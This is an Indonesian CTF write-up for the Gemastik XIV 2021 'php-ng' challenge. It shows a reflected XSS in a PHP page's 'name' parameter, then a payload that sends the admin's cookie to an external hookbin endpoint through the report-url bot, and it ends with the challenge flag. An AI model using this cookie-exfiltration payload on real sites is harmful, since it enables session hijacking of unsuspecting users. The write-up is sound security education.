[Gemastik XIV 2021] – php-ng

Pada soal kali ini, kita diberikan dua url yaitu url yg berisi php code (challenge) dan juga url yang berfungsi untuk mengakses sebuah url tertentu (report-url). 

Ketika kita mencoba untuk mengakses url challenge, maka kita akan dihadapkan dengan php code seperti ini.

Kita bisa memasukkan input dengan menggunakan variabel “l”, “t”, “sisi”, dan juga “name”. Namun, ternyata ada salah satu input yang vulnerable terhadap serangan XSS. Input yang vulnerable adalah variabel bernama “name”, kita dapat memasukkan input berikut untuk menguji apakah benar bahwa variable “name” tersebut rentan terhadap XSS atau tidak.

http://54.169.77.27:10011/?l=2&&t=3&&sisi=15&&name=<script>alert(1)</script>

Setelah dijalankan, maka kita akan mendapatkan hasil seperti ini.

Ternyata serangan XSS kita berhasil, dengan begitu kita bisa memaksimalkan serangan tersebut untuk hal yang lain.

Saya mencoba untuk membuka ip untuk “report-url” untuk mengetahui apa yang harus saya lakukan untuk mendapatkan flag. Kita bisa melihat bahwa kita “ditantang” untuk mencuri cookie milik admin. Hal yang terlintas dalam otak saya adalah untuk memodifikasi XSS yang saya temukan sebelumnya untuk mencuri cookie milik admin.

Untuk melakukan pencurian cookie, kita bisa menggunakan payload berikut pada variable “name”.

<script>document.write(‘<img src=”https://hookb.in/MqqezLjxNoUDRWppRkko/?c=’%2bdocument.cookie%2b'” />’);</script>

Kemudian, setelah digabungkan dengan url aslinya maka akan menjadi seperti ini.

http://54.169.77.27:10011/?l=2&&t=3&&sisi=15&&name=<script>document.write(‘<img src=”https://hookb.in/MqqezLjxNoUDRWppRkko/?c=’%2bdocument.cookie%2b'” />’);</script>

Agar kita bisa mencuri cookie milik admin, maka kita bisa tinggal memasukkan url tersebut pada input yang disediakan di website “report-url”.

Setelah diinput, maka kita akan mendapatkan respon “OK” yang berarti admin telah berhasil mengakses link yang kita berikan.

Kita bisa mengecek hasil dari payload tersebut pada website endpoint yang kita gunakan, karena saya menggunakan hookbin maka saya akan mengakses website hookbin agar dapat mengecek cookie yang telah saya curi.

Kita bisa melihat bahwa kita sudah berhasil mencuri cookie dari admin dan telah mendapatkan flag dari challenge ini, dengan begitu challenge ini telah selesai.


Flag: gemastik14{php_output_buffering_13niva09nhfwofib}

Leave a Reply

Your email address will not be published. Required fields are marked *